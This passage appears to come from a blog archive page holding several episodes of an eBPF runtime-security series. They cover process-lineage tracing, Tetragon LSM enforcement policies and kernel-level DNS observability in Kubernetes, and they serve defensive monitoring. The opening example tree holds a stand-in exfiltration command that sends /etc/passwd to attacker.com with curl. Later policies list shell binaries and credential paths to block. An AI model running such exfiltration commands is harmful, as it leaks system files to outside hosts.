              └── curl (18296) — "http://attacker.com/exfil -d @/etc/passwd"

This tree is constructed entirely from kernel events. No application logging. No container stdout. No agent inside the container.

How Tetragon Stores the Process Tree in BPF Maps

bpftrace’s approach above produces an event stream — a log you reconstruct manually. Tetragon takes a different approach: it maintains a live process tree in BPF maps, updated on every fork and exec event, persistently queryable.

Kernel events (kprobe on clone, execve, exit)
      ↓
Tetragon eBPF programs
      ↓
Write to BPF_MAP_TYPE_HASH: process_cache
      key: PID
      value: {binary, args, start_time, parent_pid, pod_name, namespace, uid, gid, caps}
      ↓
Tetragon userspace agent
      reads process_cache on events
      enriches with Kubernetes pod metadata (from informer cache)
      exports to gRPC stream → observability backend

task_struct in BPF maps — Tetragon doesn’t store the raw task_struct pointer in its maps (pointers are not stable across process lifetime). Instead, it stores a snapshot of the relevant fields (PID, binary path, arguments, capabilities, cgroup path, start time) at the moment of the exec event, keyed by PID. When the process exits, the entry is kept in the cache for a configurable window to allow late-arriving events (like file closes or connection terminations) to be correlated back to the originating process.

To inspect Tetragon’s process cache directly:

# Find the Tetragon process cache map
bpftool map list | grep process_cache

# 112: hash  name process_cache  flags 0x0
#      key 4B  value 256B  max_entries 65536  memlock 16777216B

# Dump a few entries
bpftool map dump id 112 | head -60

# [{
#     "key": 18293,                           # ← PID
#     "value": {
#         "binary": "/bin/sh",
#         "args": "sh -c curl http://...",
#         "pid": 18293,
#         "ppid": 18201,
#         "uid": 1000,
#         "start_time": 1745296443,
#         "cgroup": "kubepods/burstable/pod3f8a21bc/.../payments"
#     }
# }]

The cgroup field maps directly to the pod — same path as /proc/<pid>/cgroup but captured at exec time and stored in kernel space.

Correlating Files and Connections to the Process Tree

Process lineage is most useful when combined with the file access and network connection events from the same process. Tetragon’s TracingPolicy supports this multi-event correlation natively:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: observe-process-lineage
spec:
  kprobes:
    - call: "security_inode_permission"
      syscall: false
      args:
        - index: 0
          type: "inode"
      selectors:
        - matchNamespaces:
            - namespace: Net
              operator: "NotIn"
              values: ["1"]    # exclude host network namespace
          matchActions:
            - action: Post   # audit: log but don't block
    - call: "tcp_connect"
      syscall: false
      args:
        - index: 0
          type: "sock"
      selectors:
        - matchActions:
            - action: Post

With this policy active, Tetragon emits events for both file access and TCP connections, each carrying the full process context (PID, binary, pod, parent). Correlated by PID and timestamp:

tetra getevents | jq 'select(.process_kprobe.function_name == "tcp_connect") |
  {pid: .process_kprobe.process.pid,
   binary: .process_kprobe.process.binary,
   pod: .process_kprobe.process.pod.name,
   dst: .process_kprobe.args[0].sock_arg.daddr}'

Sample output:

{"pid": 18296, "binary": "/usr/bin/curl", "pod": "my-app-6d4f9-xk2p1", "dst": "93.184.216.34"}
{"pid": 18297, "binary": "/usr/bin/wget", "pod": "my-app-6d4f9-xk2p1", "dst": "93.184.216.34"}

PID 18296 and 18297 both connected to the same IP. Cross-reference with the process tree: those are the curl and wget spawned by the attacker’s payload script. The destination IP is the attacker’s infrastructure. The timeline is milliseconds-precise because the events are timestamped by the kernel at the hook point.

Building Process Lineage Without Tetragon

If you’re not running Tetragon, you can build a basic process lineage recorder with bpftrace that writes to a file:

# Record all exec events to a file — run in the background on the node
bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
    printf("%llu EXEC pid=%-6d ppid=%-6d binary=%s\n",
           nsecs, pid, curtask->real_parent->tgid, str(args->filename));
}
tracepoint:sched:sched_process_exit {
    printf("%llu EXIT pid=%-6d comm=%s\n", nsecs, pid, comm);
}
' > /var/log/process-lineage.log &

# Tail the log for real-time observation
tail -f /var/log/process-lineage.log

Sample output:

1745296443123456789 EXEC pid=18293 ppid=18201 binary=/bin/sh
1745296443234567890 EXEC pid=18294 ppid=18293 binary=/bin/sh
1745296443345678901 EXEC pid=18295 ppid=18294 binary=/bin/cat
1745296443456789012 EXIT pid=18295 comm=cat
1745296443567890123 EXEC pid=18296 ppid=18294 binary=/usr/bin/curl
1745296443678901234 EXIT pid=18293 comm=sh

This file survives pod restarts because it’s on the node, not in the container. After the pod is restarted, the process lineage record is still on disk. You reconstruct the tree by grouping by ppid and ordering by timestamp.

⚠ Production Gotchas

Ringbuf saturation on high-process-churn nodes. Nodes running serverless workloads or short-lived batch jobs may spawn thousands of processes per minute. Hooking exec on every process at that rate generates a high ringbuf write volume. Filter at the eBPF level by cgroup (namespace) rather than in userspace — sending events to userspace only to discard them wastes ringbuf space and CPU. Tetragon’s namespace selector does this filtering in the eBPF program before the write.

The 15-character comm truncation. The comm field in task_struct is limited to 15 characters (plus null terminator). Process names longer than 15 characters are truncated. bpftrace‘s comm built-in has the same limit. For the full binary path, read from execve‘s filename argument at the tracepoint, not from comm.

PID reuse. Linux PIDs are reused after a process exits. In a high-churn environment, a PID you recorded as an attacker process may be reassigned to a legitimate process seconds later. Always pair PIDs with start time and cgroup path when correlating across events. Tetragon’s process cache keys on PID + start time to handle this.

Exec chains lose argument history. When execve replaces the process image, task_struct->comm changes but the PID does not. If the attacker’s shell runs exec bash to replace itself with a less suspicious binary name, the exec event captures the new binary — but the PID lineage still shows the parent correctly. Don’t rely on comm alone for process identity; always track the binary path from the exec event.

Process events don’t capture file content. You see that /bin/cat /etc/passwd ran. You don’t see what was in /etc/passwd at that moment unless you also capture file open/read events. Tetragon’s security_inode_permission hook tells you which files were accessed; capturing their content requires additional hooks on vfs_read with buffer capture, which is significantly higher overhead and requires careful data handling for sensitive files.

Quick Reference

What you want Command
Live exec trace (bpftrace) bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf(...) }'
Fork + exec tree Combine sys_exit_clone + sys_enter_execve traces, correlate by pid/ppid
Tetragon process events tetra getevents --event-types PROCESS_EXEC
Tetragon file + network tetra getevents --event-types PROCESS_KPROBE
Process cache map bpftool map list | grep process_cache → bpftool map dump id N
Map PID to pod cat /proc/<pid>/cgroup → extract pod UID
Process exit events tracepoint:sched:sched_process_exit
Process event Kernel hook
New process spawned tracepoint:syscalls:sys_exit_clone (retval > 0 = child PID)
Binary executed tracepoint:syscalls:sys_enter_execve
Process exited tracepoint:sched:sched_process_exit
File opened tracepoint:syscalls:sys_enter_openat
Network connect kprobe:tcp_connect
DNS query tracepoint:syscalls:sys_enter_sendto (port 53)

Key Takeaways

  • Process lineage with eBPF hooks fork and exec at the kernel level — every process spawned on a node is recorded with its parent PID, binary path, arguments, and container context, regardless of what the container does to suppress application logs
  • The kernel’s task_struct is the authoritative source of process identity; eBPF programs read it at hook time and snapshot the relevant fields into BPF maps before the process can exit or be killed
  • Tetragon maintains a live process tree in BPF maps, correlates it with Kubernetes metadata, and makes it queryable by pod/namespace — the record persists after the pod is restarted
  • Incident reconstruction requires correlating process lineage with file access events and network connection events, all correlated by PID and timestamp — eBPF provides all three event streams from the same kernel attachment mechanism
  • PID reuse is a real concern in high-churn environments; always pair PIDs with start time and cgroup path when correlating across events
  • Kernel-level process events cannot be suppressed by a compromised container process — an attacker with root inside the container still cannot prevent bpftrace or Tetragon running on the host from recording their syscalls

What’s Next

EP14 is the payoff episode for the entire series arc so far. You’ve seen programs load (EP04), maps hold state (EP05), CO-RE keep programs portable (EP06), XDP and TC enforce at the network layer (EP07, EP08), bpftrace ask one-off questions (EP09), and the observability stack collect flow, DNS, and process data continuously (EP10, EP11, EP12, EP13).

EP14 synthesises all of it into four commands that tell you everything about any cluster you’ve never seen before — any eBPF-based tool, any vendor, any configuration. The audit playbook is what you run in the first 10 minutes when you inherit a cluster and need to understand what’s enforcing policy at the kernel level before you can trust anything it tells you.

Next: the audit playbook — four commands to see any cluster

Get EP14 in your inbox when it publishes → linuxcent.com/subscribe

LSM and Tetragon — When the Kernel Says No

by
Reading Time: 8 minutes

eBPF: From Kernel to Cloud, Episode 12
What Is eBPF? · The BPF Verifier · eBPF vs Kernel Modules · eBPF Program Types · eBPF Maps · CO-RE and libbpf · XDP · TC eBPF · bpftrace · Network Flow Observability · DNS Observability · LSM and Tetragon

TL;DR

  • LSM eBPF Tetragon integrates Linux Security Module hooks with eBPF programs — enforcement happens at the syscall boundary, before the operation completes, with no detect-and-respond window
    (LSM hook = Linux Security Module hook: a callback point built into the kernel that fires before a security-relevant operation completes, allowing the security module to approve or reject it)
  • Falco and similar sidecar-based tools detect after the fact — the syscall returns, the file is written, the connection is established, the alert fires; with LSM, the syscall never returns success
  • BPF_PROG_TYPE_LSM is the eBPF program type that attaches to LSM hooks — introduced in kernel 5.7, stable in 5.10+; available on all current Ubuntu LTS, Fedora, and EKS/GKE nodes
  • Tetragon attaches eBPF programs to LSM hooks and kprobes simultaneously — observing and enforcing from the same kernel attachment point
  • Tetragon’s enforcement sends SIGKILL from within the kernel context — not from a userspace agent reading an audit log and then killing the process
  • Production caution: LSM enforce mode without thorough policy testing in audit mode first will kill legitimate workloads; always audit before enforce

EP11 showed how to observe DNS queries at the kernel level — seeing what a workload resolves before it establishes a connection. But observation is passive. It tells you what happened. LSM eBPF Tetragon changes the question entirely: instead of watching the workload, the kernel refuses the operation. This episode covers how that enforcement layer works and why the difference between “detect” and “prevent” matters in runtime security.

Quick Check: Is Your Cluster Running LSM-Based Enforcement?

# On any cluster node — what security modules are active?
cat /sys/kernel/security/lsm

# Expected output on a modern kernel:
# lockdown,capability,landlock,yama,apparmor,bpf
#                                              ^^^
#                            "bpf" here means BPF LSM is enabled

# Is Tetragon running on this cluster?
kubectl get pods -n kube-system -l app.kubernetes.io/name=tetragon

# If Tetragon is present, check what TracingPolicies are enforcing:
kubectl get tracingpolicies -A

# Sample output:
# NAMESPACE    NAME                      AGE
# kube-system  block-privileged-exec     3d
# kube-system  restrict-sensitive-paths  3d

# See what eBPF programs Tetragon has loaded
bpftool prog list | grep -i tetragon

# Output sample:
# 89: lsm  name tetragon_lsm_bprm  tag 8f2a1c3e4d5b7a9f  gpl
#     loaded_at 2026-04-22T09:13:45+0530  uid 0
#     xlated 3312B  jited 2184B  memlock 8192B
# 91: kprobe  name tetragon_kp_exec tag 3c1d8e2f7a4b5c9d  gpl

lsm program type confirms LSM hook attachment. If you see tetragon_lsm_* entries, Tetragon is enforcing at the kernel level on this node.

Not running Tetragon? Check if your cluster uses AppArmor or seccomp profiles instead — kubectl get pod <name> -o jsonpath='{.metadata.annotations}' and look for seccomp.security.alpha.kubernetes.io or container.apparmor.security.beta.kubernetes.io annotations. These are userspace-applied profiles that the kernel enforces. Tetragon is additive — it can run alongside AppArmor/seccomp and provides per-process, dynamic policy that static profiles cannot.

Falco fired at 03:14 AM. The alert: a process inside a production container had opened /etc/passwd for writing. By the time I was on the call, the container had been restarted by a health check failure — the compromised process had already exited. The file had already been modified. Falco had detected the open, emitted the alert, and by the time any automated response could have acted, the syscall had returned, the write had completed, and the file was changed.

Falco did exactly what it’s designed to do: observe and alert. The gap isn’t in Falco — it’s in the architecture. When a tool detects from userspace by reading kernel audit events, there is always a window between the operation completing and the alert firing. For a fast exploit, that window is the entire attack.

I added a Tetragon TracingPolicy the following week:

spec:
  kprobes:
    - call: "security_inode_permission"
      syscall: false
      return: false
      args:
        - index: 0
          type: "inode"
      selectors:
        - matchArgs:
            - index: 0
              operator: "Prefix"
              values: ["/etc/passwd", "/etc/shadow"]
          matchActions:
            - action: Sigkill

Next time a process tries to open /etc/passwd for writing in a container covered by that policy, the kernel sends SIGKILL from within the LSM hook. The open never completes. There is no window.

How LSM Hooks Are Placed in the Kernel

Linux Security Modules (LSM) is a framework built into the Linux kernel that inserts hook points before security-sensitive operations. The hook fires before the operation is allowed to complete — the LSM module can return an error code that causes the kernel to reject the operation and return -EPERM to the calling process.

Process calls open("/etc/passwd", O_WRONLY)
      ↓
VFS (Virtual Filesystem) layer receives the request
      ↓
VFS calls security_inode_permission()   ← LSM hook fires here
      ↓
LSM module checks policy
      ↓
      ├── ALLOW → open() proceeds, file descriptor returned
      └── DENY  → open() returns -EPERM, process gets "Permission denied"
                  File is never touched

LSM hook — a callback point embedded in Linux kernel source at every security-sensitive operation: file open, execute, socket connect, capability check, mount, ptrace, and more. The kernel calls registered LSM modules at each hook. Before BPF LSM (kernel 5.7), only statically compiled security modules (SELinux, AppArmor, BPF LSM itself) could register at these hooks.

BPF_PROG_TYPE_LSM — the eBPF program type that attaches to LSM hooks. Introduced in kernel 5.7. Requires BPF LSM to be enabled in the kernel (lsm=bpf in kernel command line, or present alongside other LSMs). When this program type is loaded and attached to an LSM hook, the eBPF program runs at the hook point and returns 0 (allow) or a negative error code (deny).

The full list of LSM hooks:

# All LSM hook points available for eBPF attachment
bpftool feature list | grep lsm_hook | head -20

# Or browse the kernel source list:
# include/linux/security.h — every security_*() function is an LSM hook point

There are 200+ LSM hook points. The most operationally relevant for container security:

LSM Hook What it guards
security_bprm_check Process execution (execve)
security_inode_permission File read/write/execute
security_inode_create File creation
security_socket_connect Outbound TCP/UDP connect
security_socket_bind Port binding
security_ptrace_access_check ptrace (debugger attach)
security_capable Capability checks (CAP_SYS_ADMIN etc.)

How Tetragon Combines LSM and kprobe

Tetragon attaches two types of programs simultaneously for comprehensive runtime security:

kprobe programs          LSM programs
(observation layer)      (enforcement layer)
       │                        │
       ↓                        ↓
Process executes              Kernel LSM hook fires
kernel function               BEFORE operation completes
       │                        │
       ↓                        ↓
Tetragon reads context:       Tetragon checks TracingPolicy:
  - process name                - selectors match?
  - PID, UID                    - action = Sigkill?
  - namespace, pod name         │
  - parent process              ↓
  - capabilities                SIGKILL sent from kernel context
       │                        Process terminated
       ↓                        Operation never completes
Tetragon exports event
  to userspace observer

The kprobe side provides the rich context (pod name, namespace, process tree) because it has access to Kubernetes metadata that Tetragon’s userspace component has pre-populated into maps. The LSM side provides the enforcement capability. Together, they give you context-aware kernel enforcement.

SIGKILL from kernel vs userspace kill — When a userspace process runs kill -9 <pid>, it issues a kill syscall, the kernel schedules the signal delivery, and the target process dies on its next scheduler timeslice. There is a measurable delay — and more importantly, the target process may run for several more instructions before the signal is delivered. When a BPF LSM program returns a non-zero error code or calls bpf_send_signal(SIGKILL) from within the hook, the signal is delivered synchronously within the kernel’s execution context. The process does not execute another instruction in the problematic syscall. This is not a speed difference — it is a structural difference in when the enforcement happens relative to the operation.

Writing a Tetragon TracingPolicy for Enforcement

Tetragon policies are Kubernetes custom resources. Here’s a policy that prevents any container from executing shells:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-shell-exec
spec:
  kprobes:
    - call: "security_bprm_check"
      syscall: false
      args:
        - index: 0
          type: "linux_binprm"
      selectors:
        - matchBinaries:
            - operator: "In"
              values:
                - "/bin/sh"
                - "/bin/bash"
                - "/bin/dash"
                - "/usr/bin/sh"
                - "/usr/bin/bash"
          matchNamespaces:
            - namespace: Pid
              operator: "NotIn"
              values: ["1"]      # exclude host namespace (PID 1 = init)
          matchActions:
            - action: Sigkill
              argError: -1       # EPERM returned to the caller

Apply and verify:

kubectl apply -f block-shell-exec.yaml

# Confirm it's active
kubectl get tracingpolicies
# NAME               ENABLED   REASON   AGE
# block-shell-exec   true               5s

# Verify Tetragon loaded the eBPF program for this policy
bpftool prog list | grep bprm
# 94: lsm  name tetragon_lsm_bprm  tag 8f2a1c3e4d5b7a9f  gpl
#     loaded_at 2026-04-22T14:22:13+0530  uid 0

Test it (in a non-production namespace):

kubectl exec -it test-pod -- /bin/sh

# Expected output:
# OCI runtime exec failed: exec failed: unable to start container process:
# error during container init: error starting executable ["/bin/sh"]:
# container_linux.go: ... starting container process caused: process_linux.go:
# ... SIGKILL

The shell never started. The security_bprm_check LSM hook fired, the Tetragon eBPF program evaluated the policy, returned SIGKILL from kernel space. The exec system call returned -EPERM to the container runtime. No shell process was created.

Audit Mode Before Enforce Mode

Running a new LSM policy in enforce mode without prior testing will kill legitimate workloads. Tetragon supports audit mode for every policy:

          matchActions:
            - action: Post     # audit mode: log event, do NOT kill

Post emits a Tetragon event that you can observe:

# Watch audit events for the policy (before switching to Sigkill)
kubectl exec -n kube-system -it \
  $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_KPROBE | grep bprm

Sample audit event:

{
  "process_kprobe": {
    "process": {
      "pod": {"name": "my-app-6d4f9-xk2p1", "namespace": "production"},
      "binary": "/bin/sh",
      "pid": 18293
    },
    "function_name": "security_bprm_check",
    "action": "KPROBE_ACTION_POST"
  }
}

If my-app legitimately needs /bin/sh for its health check script, you’ll see it here before you kill it. Refine the selector (add matchLabels to exclude that specific deployment, or add the binary to an allowlist) and then switch to Sigkill.

⚠ Production Gotchas

Enforce mode kills anything the selector matches — including health checks and init containers. Most production containers have some shell usage: liveness probes that run sh -c, init containers that chmod files, entrypoint wrappers. Run in Post (audit) mode for at least 48 hours across a representative workload set before switching to Sigkill. Track all matched events and understand every process in the trace before enforcing.

LSM hooks fire in kernel context — eBPF program complexity is limited. The verifier enforces strict limits on LSM programs because they run synchronously in the kernel’s hot path. Policies with many conditions or complex map lookups may be rejected by the verifier. Tetragon’s policy engine compiles your TracingPolicy into eBPF that stays within verifier limits, but very complex matchArgs chains with many values can hit limits. Test with kubectl apply and check Tetragon pod logs for verifier rejection messages.

BPF_PROG_TYPE_LSM requires kernel 5.7+ and BPF LSM enabled. Check /sys/kernel/security/lsm for bpf in the list. EKS nodes running Amazon Linux 2 with kernel 5.10+ have BPF LSM available. GKE nodes with kernel 5.10+ on Container-Optimized OS have it enabled. Ubuntu 22.04 (kernel 5.15) has it enabled by default. Ubuntu 20.04 kernels before 5.7 do not — check your actual kernel version.

Policy scope: Tetragon TracingPolicies are cluster-wide by default. A policy without a matchNamespaces or matchLabels selector applies to every pod on every node. Start with namespace-scoped policies during testing. Use namespaced TracingPolicy resources (Tetragon 0.10+) to limit scope to a specific namespace.

bpf_send_signal(SIGKILL) vs returning an error code. Tetragon’s Sigkill action uses bpf_send_signal() rather than returning a negative error from the LSM hook. This means the syscall may return before the signal is delivered — there can be a single instruction window. For critical enforcement paths, combining LSM deny (return -EPERM) with bpf_send_signal(SIGKILL) is the belt-and-suspenders approach; Tetragon’s maintainers have documented which actions use which mechanism.

Quick Reference

What you want Command
Is BPF LSM enabled? cat /sys/kernel/security/lsm (look for bpf)
What LSM programs are loaded? bpftool prog list | grep lsm
What Tetragon policies exist? kubectl get tracingpolicies -A
Audit events (before enforce) tetra getevents --event-types PROCESS_KPROBE
Watch Tetragon enforcement kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -f
Test a policy safely Set action: Post before action: Sigkill
Tetragon action Effect
Post Log event only — audit mode
Sigkill Send SIGKILL from kernel context
Override Return custom error code to syscall caller
FollowFD Track file descriptor for future hook correlation
LSM hook Protects
security_bprm_check exec (block shell spawning)
security_inode_permission file access (block reads/writes to sensitive paths)
security_socket_connect outbound connections (block C2 connections)
security_capable capability escalation (block CAP_SYS_ADMIN attempts)

Key Takeaways

  • LSM eBPF Tetragon enforces at the syscall boundary — the operation either never completes or returns an error before the kernel performs the action, with no detect-and-respond window
  • Falco, Datadog, and sidecar-based tools detect events after the syscall returns; this is architectural, not a product limitation — they operate at a layer where the operation has already occurred
  • BPF_PROG_TYPE_LSM attaches eBPF programs directly to Linux Security Module hooks; available on kernel 5.7+, enabled on all current EKS/GKE LTS node images
  • Tetragon sends SIGKILL from kernel context using bpf_send_signal() — not from a userspace agent polling an audit log
  • Always run Tetragon policies in Post (audit) mode for 48+ hours before switching to Sigkill — legitimate workloads trigger many of the same LSM hooks that attacks use
  • The combination of kprobe (rich context: pod name, namespace, process tree) and LSM (enforcement) gives Tetragon context-aware kernel enforcement that static profiles (AppArmor, seccomp) cannot provide dynamically

What’s Next

LSM hooks prevent operations in the moment. But after an incident — when enforcement failed, or when you’re doing post-hoc forensics — the question changes: what did this process spawn, what files did it touch, what connections did it make, and in what order? Answering that from logs alone is guesswork. Answering it from kernel-level process lineage is reconstruction.

EP13 covers how eBPF kprobe hooks on fork and exec build a complete, tamper-resistant process tree. Even after the attacker’s process has exited, the record remains — in kernel maps, exported to a persistent store, tied to the pod that ran it.

Next: process lineage with eBPF — reconstructing what happened after the fact

Get EP13 in your inbox when it publishes → linuxcent.com/subscribe

DNS at the Kernel Level — What Your Pods Are Actually Resolving

by
Reading Time: 9 minutes

eBPF: From Kernel to Cloud, Episode 11
What Is eBPF? · The BPF Verifier · eBPF vs Kernel Modules · eBPF Program Types · eBPF Maps · CO-RE and libbpf · XDP · TC eBPF · bpftrace · Network Flow Observability · DNS Observability

TL;DR

  • DNS observability in Kubernetes with eBPF hooks the kernel’s DNS syscall path — giving you per-pod query visibility without sidecars, restarts, or CoreDNS log scraping
    (tracepoint = a stable, versioned hook placed deliberately in the Linux kernel source; unlike kprobes, tracepoints survive kernel upgrades without breakage)
  • CoreDNS metrics tell you aggregate query rates; eBPF tracepoints tell you which pod queried what domain, when, and what was returned
  • A compromised workload’s first observable action is almost always an unexpected DNS query — infrastructure no legitimate process should ever resolve
  • The DNS syscall path in Linux goes: application calls getaddrinfo() → glibc → sendto() syscall → kernel network stack → UDP packet to CoreDNS resolver
  • You hook the sendto tracepoint to catch the query leaving the pod and the recvfrom tracepoint to catch the response arriving
  • Production note: DNS query payloads cross the kernel as raw UDP — parsing the DNS wire format in a bpftrace one-liner requires reading past the UDP header; Tetragon and Pixie do this parsing in the eBPF program itself

EP10 showed eBPF flow telemetry as the ground truth for what connections your pods are making. DNS observability with eBPF goes one layer beneath that: the name resolution step that happens before any connection is established. Every domain a pod resolves is visible at the kernel level. That visibility is what a security scan alert is missing when it flags “unexpected DNS queries” — it can see the traffic on the wire, but it can’t tell you which pod sent it without restarting or deploying an agent into the pod.

Quick Check: What DNS Traffic Is Leaving Your Pods Right Now?

Without installing anything, you can see DNS queries crossing any node in under 30 seconds:

# SSH into a worker node, then:

# Watch all UDP port 53 traffic — which processes are making DNS queries?
bpftrace -e '
tracepoint:syscalls:sys_enter_sendto {
    $port = (uint16)((uint8*)args->addr)[3] << 8 |
            (uint16)((uint8*)args->addr)[2];
    if ($port == 53) {
        printf("%-20s %-6d DNS query (UDP sendto)\n", comm, pid);
    }
}' --timeout 30

Expected output:

coredns              1842   DNS query (UDP sendto)   # ← CoreDNS forwarding upstream
nginx                9231   DNS query (UDP sendto)   # ← nginx resolving upstream
payment-svc          11043  DNS query (UDP sendto)   # ← your service making queries
curl                 14829  DNS query (UDP sendto)   # ← kubectl exec / debug session

# How many DNS queries per process in the last 30 seconds?
bpftrace -e '
tracepoint:syscalls:sys_enter_sendto {
    $port = (uint16)((uint8*)args->addr)[3] << 8 |
            (uint16)((uint8*)args->addr)[2];
    if ($port == 53) { @dns_queries[comm] = count(); }
}
interval:s:30 { print(@dns_queries); exit(); }
'

Expected output:

@dns_queries[coredns]:       1203   # ← upstream forwarder traffic
@dns_queries[payment-svc]:    847   # ← legitimate service queries
@dns_queries[unknown]:         12   # ← investigate this one

On EKS or GKE managed nodes: You may not be able to SSH directly to worker nodes, but you can run a privileged debug pod: kubectl debug node/<node-name> -it --image=quay.io/iovisor/bpftrace. The bpftrace program runs on the host kernel and sees all pods’ DNS queries. GKE Autopilot restricts privileged pods — use GKE’s built-in eBPF-based DNS observability instead (enabled via Cloud Logging with DNS policy logging).

A security scan flagged unexpected DNS queries from payment-svc in the production namespace. The query domains didn’t match anything in the service’s known dependency list. The scan tool showed the traffic on the wire — destination port 53, from the pod’s IP — but couldn’t tell us which process inside the pod was responsible or what domain was being queried without pulling the pod’s DNS logs.

The pod had no DNS logging enabled. CoreDNS showed the queries in its aggregate metrics but with no attribution below namespace level. Restarting the pod to add a DNS sidecar would wipe any in-memory state the process had accumulated.

I ran bpftrace with a recvfrom hook to catch the DNS response payloads coming back into the pod:

bpftrace -e '
tracepoint:syscalls:sys_exit_recvfrom {
    if (retval > 0) {
        printf("%-20s PID %-6d received %d bytes (possible DNS response)\n",
               comm, pid, retval);
    }
}' --timeout 60

Then cross-referenced the PIDs to container processes via /proc/<pid>/cgroup. The unexpected queries were coming from a sidecar process that had been injected by a recent Helm chart change — not from the main application container at all. A misconfigured Datadog agent injected into the wrong namespace was querying its intake endpoint.

No restart. No sidecar deployment. Found in under two minutes.

Why CoreDNS Metrics Don’t Give You This

CoreDNS exposes DNS query metrics via Prometheus. Those metrics tell you:
– Total queries per second across the cluster
– Query latency histograms
– Error rates (NXDOMAIN, SERVFAIL)
– Upstream forwarder health

What they don’t tell you:
– Which specific pod sent a query to a specific domain
– Which process inside that pod made the getaddrinfo() call
– Whether the query came from the main container or an injected sidecar
– The timing relationship between a DNS query and the connection that followed it

CoreDNS sees the query after it arrives at the resolver. eBPF tracepoints see the query at the moment the pod’s process issues the sendto() syscall — before it leaves the node. The difference is attribution.

The DNS Syscall Path in Linux

Understanding where the hook fires helps you reason about what you can observe:

Application code
    ↓
getaddrinfo("api.example.com") ← glibc resolver function
    ↓
glibc reads /etc/resolv.conf → finds nameserver 10.96.0.10 (CoreDNS ClusterIP)
    ↓
glibc builds DNS wire-format query packet
    ↓
sendto(sockfd, buf, len, 0, &resolver_addr, addrlen)
    ↓                     ← eBPF tracepoint fires here: sys_enter_sendto
Linux kernel: udp_sendmsg()
    ↓
Packet leaves pod veth interface
    ↓
TC eBPF on veth sees UDP packet (flow telemetry picks this up too)
    ↓
CoreDNS receives query, resolves, sends response
    ↓
Packet arrives back at pod veth
    ↓
recvfrom(sockfd, buf, len, 0, &src_addr, &src_len)
    ↓                     ← eBPF tracepoint fires here: sys_exit_recvfrom
glibc parses DNS response
    ↓
getaddrinfo() returns IP addresses to application

getaddrinfo — the standard POSIX function applications call to resolve a hostname to IP addresses. It lives in glibc, not in the kernel. The kernel never sees the domain name string directly — it only sees the UDP packet carrying the DNS wire-format query. To read the actual domain name in an eBPF program, you parse the DNS packet payload at the sendto tracepoint.

tracepoint — a stable, versioned hook deliberately placed in Linux kernel source code by kernel developers. Unlike kprobes (which attach to arbitrary kernel functions and break when those functions change), tracepoints are part of the kernel’s stable interface. The syscalls:sys_enter_sendto tracepoint has been present and stable since kernel 3.x. You can rely on it across Ubuntu 20.04 through the latest kernels without version checks.

Reading DNS Queries at the Tracepoint

The sendto tracepoint fires when any process sends data on a socket. Filtering to port 53 gives you DNS queries. Parsing the payload gives you the domain name.

The DNS wire format for a query:

Bytes 0-11:   DNS header (12 bytes)
              - Transaction ID (2 bytes)
              - Flags (2 bytes)
              - QDCount, ANCount, NSCount, ARCount (2 bytes each)
Byte 12+:     Question section
              - QNAME (variable length, label-encoded)
              - QTYPE (2 bytes)
              - QCLASS (2 bytes)

The QNAME is length-prefixed labels: \x03api\x07example\x03com\x00 for api.example.com. bpftrace can read the raw bytes but parsing label encoding inline in a one-liner is awkward. For raw query detection (flag any DNS query from a specific process), the tracepoint is enough:

# Watch DNS queries from a specific process name — replace "payment-svc"
bpftrace -e '
tracepoint:syscalls:sys_enter_sendto /comm == "payment-svc"/ {
    printf("PID %-6d sending %d bytes to DNS\n", pid, args->len);
}
'

For full domain name extraction, use a tool that implements DNS wire-format parsing in its eBPF layer. Tetragon and Pixie both do this. On a Tetragon-instrumented cluster:

# Watch DNS queries with domain names — Tetragon (all pods)
kubectl exec -n kube-system -it $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_KPROBE \
  | grep -i dns

Sample Tetragon output:

{
  "process": {
    "pod": {"name": "payment-svc-7d4b9f-xk2p1", "namespace": "production"},
    "binary": "/usr/bin/payment-service",
    "pid": 11043
  },
  "function_name": "__sys_sendto",
  "args": [
    {"sock_arg": {"family": "AF_INET", "protocol": "UDP",
                  "daddr": "10.96.0.10", "dport": 53}},
    {"bytes_arg": "<DNS query for metrics.datadoghq.com>"}
  ]
}

Pod name, namespace, binary, PID, and the domain being queried — all from a kernel tracepoint, no sidecar, no pod restart.

Building Pod-Level DNS Attribution Without Tetragon

If you’re not running Tetragon, you can build pod-level attribution from the PID. When bpftrace reports a PID making a DNS query, map it to a container:

# Get the PID from bpftrace, then:
PID=11043

# Which cgroup does this PID belong to? (maps to container/pod)
cat /proc/$PID/cgroup | grep kubepods
# 12:cpu:/kubepods/burstable/pod3f8a21bc-4e7d-4b91-a3c2-8b947f6e3d12/a4c8f1e2b3d4...
# The pod UID is embedded: pod3f8a21bc-4e7d-4b91-a3c2-8b947f6e3d12

# Map pod UID to pod name
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.uid}{" "}{.metadata.name}{" "}{.metadata.namespace}{"\n"}{end}' \
  | grep 3f8a21bc-4e7d-4b91-a3c2-8b947f6e3d12
# 3f8a21bc-4e7d-4b91-a3c2-8b947f6e3d12  payment-svc-7d4b9f-xk2p1  production

That’s the full chain: kernel tracepoint → host PID → cgroup path → pod UID → pod name + namespace. Automatable. No agents required inside the pod.

Detecting Anomalous DNS: What to Watch For

DNS is the first observable action in most attack chains. A process that has been compromised or injected typically cannot establish a C2 connection without first resolving the C2 domain.

Signals worth watching at the kernel DNS layer:

Queries to non-cluster domains from unexpected processes

# Flag any DNS query to a non-cluster domain (not .cluster.local or .svc.cluster.local)
bpftrace -e '
tracepoint:syscalls:sys_enter_sendto {
    $port = (uint16)((uint8*)args->addr)[3] << 8 |
            (uint16)((uint8*)args->addr)[2];
    if ($port == 53) {
        printf("%-20s %-6d DNS sendto\n", comm, pid);
    }
}' --timeout 60

High-frequency DNS queries from a single process (DNS tunneling fingerprint)

# Processes making more than N DNS queries per second
bpftrace -e '
tracepoint:syscalls:sys_enter_sendto {
    $port = (uint16)((uint8*)args->addr)[3] << 8 |
            (uint16)((uint8*)args->addr)[2];
    if ($port == 53) { @[pid, comm] = count(); }
}
interval:s:1 {
    print(@);
    clear(@);
}
'

